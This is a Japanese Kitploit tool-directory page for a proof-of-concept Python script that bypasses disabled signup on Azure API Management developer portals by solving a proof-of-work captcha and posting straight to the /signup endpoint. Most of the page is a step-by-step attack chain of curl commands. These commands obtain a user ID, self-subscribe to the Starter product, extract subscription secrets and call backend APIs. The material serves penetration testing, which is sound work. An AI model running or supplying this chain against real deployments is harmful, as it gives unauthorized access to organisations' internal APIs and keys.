Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Azure-APIM-Dev-Portal-Signup-Bypass — UIが無効な場合にAzure APIMのサインアップをバイパスするPythonスクリプトです。これはCVE-2025-66390とは異なり、クロステナントでの設定を一切必要としません。 | Kitploit
ツール/GitHubGitHub/dz-y/azure-apim-dev-portal-signup-bypass
認証と認可クラウドインフラストラクチャセキュリティウェブアプリケーション悪用APIセキュリティテストペネトレーションテストクラウドセキュリティ設定ミスAPIセキュリティCAPTCHAバイパス

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubdz-y/azure-apim-dev-portal-signup-bypass

Azure-APIM-Dev-Portal-Signup-Bypass

UIが無効な場合にAzure APIMのサインアップをバイパスするPythonスクリプトです。これはCVE-2025-66390とは異なり、クロステナントでの設定を一切必要としません。

リポジトリを見る
15日前未レビュー

無効化された開発者ポータルサインアップをバイパスし、バックエンド登録APIを直接呼び出すAzure API Management (APIM) 用の概念実証スクリプト

概要

Azure APIM 開発者ポータルは、ポータル UI からセルフサービスサインアップを無効化するように構成できます。一部のデプロイでは、UI ボタンが非表示または削除されている場合でも、基盤となる API エンドポイント(/signup)がアクティブで到達可能なままになります。このスクリプトは、以下の方法でそのギャップを悪用します。

  1. /v2/captcha-challenge から proof-of-work (PoW) キャプチャチャレンジを取得する
  2. SHA-256 PoW ソリューションをクライアントサイドでブルートフォースする
  3. 解決済みチャレンジとアカウント詳細を添えて、/signup に直接サインアップリクエストを送信する

すべての入力(ターゲット URL、認証情報、プロキシ)は、実行時にインタラクティブにプロンプト表示されます。

CVE-2025-66390 との関係

CVE-2025-66390(CVSS 9.8 Critical)は、クロステナント APIM サインアップバイパスを説明しています。攻撃者は、サインアップが有効なテナントを悪用して、API リクエストの Host ヘッダーを操作することにより、サインアップが無効な別のテナントにアカウントを登録します。Microsoft はこれを製品の脆弱性ではなく構成の問題としました。

これはクロステナントの作成を一切必要とせず、代わりに /v2/captcha-challenge エンドポイントを使用して、平均 75000 回の反復でキャプチャを解くだけです。

使い方

root@kitploit:~
python3 apim_signup.py

ターゲット URL、アカウント詳細、パスワード(非表示入力、確認のためエコー表示)、および任意のプロキシをプロンプト表示します。

サインアップ後の悪用チェーン

サインアップリクエストが成功し、確認メールが届くと、完全な攻撃チェーンは次のようになります。

ステップ 1 — メールを確認する

登録メール内の確認リンクをクリックします。これにより、管理 API が認証する前にアカウントがアクティブ化されます。

ステップ 2 — 認証してユーザー ID を取得する

APIM 管理 API に Basic 認証(base64(email:password))でリクエストを送信し、内部ユーザー ID を取得します。

root@kitploit:~
curl -s "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/identity?api-version=2019-12-01" \
  -H "Authorization: Basic <base64(email:password)>"
# → {"id":"<user-id>"}

返された id フィールドは、その後のすべての管理 API 呼び出しで使用されます。

または、/developer/identity?api-version=2022-04-01-preview にアクセスします <-- バージョンは問いません。UI がログインを要求するので、そこからも ID を取得できます。

image

ステップ 3 — 製品に自己サブスクライブする

デフォルトの Starter 製品は approvalRequired: false で出荷されるため、管理者の承認は不要です。PUT で自己サブスクライブします。

root@kitploit:~
curl -s -X PUT "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub?api-version=2019-12-01" \
  -H "Authorization: Basic <base64(email:password)>" \
  -H "Content-Type: application/json" \
  -d '{"properties":{"scope":"/products/starter","displayName":"Starter"}}'
# → HTTP 201 Created

確認メール(件名「Your subscription to the Starter」)が [email protected] から届きます。

ステップ 4 — サブスクリプションキーを取得する

root@kitploit:~
curl -s -X POST "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub/listSecrets?api-version=2019-12-01" \
  -H "Authorization: Basic <base64(email:password)>"
# → {"primaryKey":"...","secondaryKey":"..."}

ステップ 5 — バックエンド API を呼び出す

APIM ゲートウェイに対して Ocp-Apim-Subscription-Key としてプライマリキーを使用し、認証付きのバックエンド呼び出しを行います。

root@kitploit:~
curl -s "https://<service>.azure-api.net/<api-path>" \
  -H "Ocp-Apim-Subscription-Key: <primaryKey>"

アクセス範囲は Starter 製品にスコープされた API によって決まります — 誤って構成されたデプロイでは、追加認証なしで内部バックエンドが露出する可能性があります。


詳細については、この記事がチェーンを非常によく説明しています。クロステナントの部分を除いて参照してください。 https://www.praetorian.com/blog/azure-apim-signup-bypass/

ツールをダウンロード